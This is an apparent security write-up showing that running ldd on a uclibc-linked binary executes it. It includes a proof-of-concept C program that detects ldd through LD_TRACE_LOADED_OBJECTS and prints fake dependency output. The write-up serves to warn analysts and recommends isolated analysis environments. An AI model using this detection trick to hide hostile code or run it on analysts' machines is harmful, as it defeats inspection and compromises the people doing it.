When reverse engineering a program, the analyst would not execute that program from a work account on a valid machine. The potential for abuse by a malicious program is obvious. However, the probability that the analyst will use a work account for statically analysing the program is much higher.
An exploit for the file command was publicly released in March 2003, which allowed a specially crafted executable to execute arbitrary commands. This is referred to in Mitre's CVE dictionary: CAN-2003-0102.
Standard practise for reverse engineering a program in the UNIX
environment is to first execute the file
, ldd
and strings
commands
on the target program.
A vulnerability in the file
command was discussed earlier. What about
the ldd
command?
The ldd
command shows the shared libraries required by a program:
$ ldd /bin/ls
librt.so.1 => /lib/librt.so.1 (0x4001d000)
libc.so.6 => /lib/libc.so.6 (0x4002e000)
libpthread.so.0 => /lib/libpthread.so.0 (0x40149000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Under glibc 2.2.x and 2.3.x (other environments untested), ldd
is
implemented by executing the program which the LD_TRACE_LOADED_OBJECTS
environment variable set:
$ LD_TRACE_LOADED_OBJECTS=1 /bin/ls
librt.so.1 => /lib/librt.so.1 (0x4001d000)
libc.so.6 => /lib/libc.so.6 (0x4002e000)
libpthread.so.0 => /lib/libpthread.so.0 (0x40149000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
When the glibc program interpreter is invoked to execute a shared
library executable, if the LD_TRACE_LOADED_OBJECTS
environment
variable is set the interpreter resolves required shared libraries and
outputs them to stdout then exits. The program is not executed.
This is how the glibc program interpreter works. What about others? Let's do a comparison with glibc and uclibc:
$ echo 'main() { printf("hello world\n"); }' > hello.c
First glibc:
$ gcc hello.c -o gcc_hello
$ ldd ./gcc_hello
libc.so.6 => /lib/libc.so.6 (0x4001d000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
And now uclibc:
$ i386-uclibc-gcc hello.c -o uclibc_hello
$ ldd ./uclibc_hello
hello world
Well that wasn't what we expected. We expected to find out the shared library dependencies and instead the program executed. How would a malicious program take advantage of this?
$ cat nasty.c
int main()
{
if (getenv("LD_TRACE_LOADED_OBJECTS") != 0) {
/* we are being executed under ldd */
printf("doing funny stuff\n");
printf("\tlibc.so.6 => /lib/libc.so.6 (0x4001d000)\n");
printf("\t/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)\n");
return 0;
}
printf("normally program execution\n");
return 0;
}
$ i386-uclibc-gcc nasty.c -o nasty
$ ldd ./nasty
doing funny stuff
libc.so.6 => /lib/libc.so.6 (0x4001d000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
The moral of the story? Analysts should do all analysis (yes, this includes static analysis) under an protected / isolated account or machine.
Corollary: should does not imply will.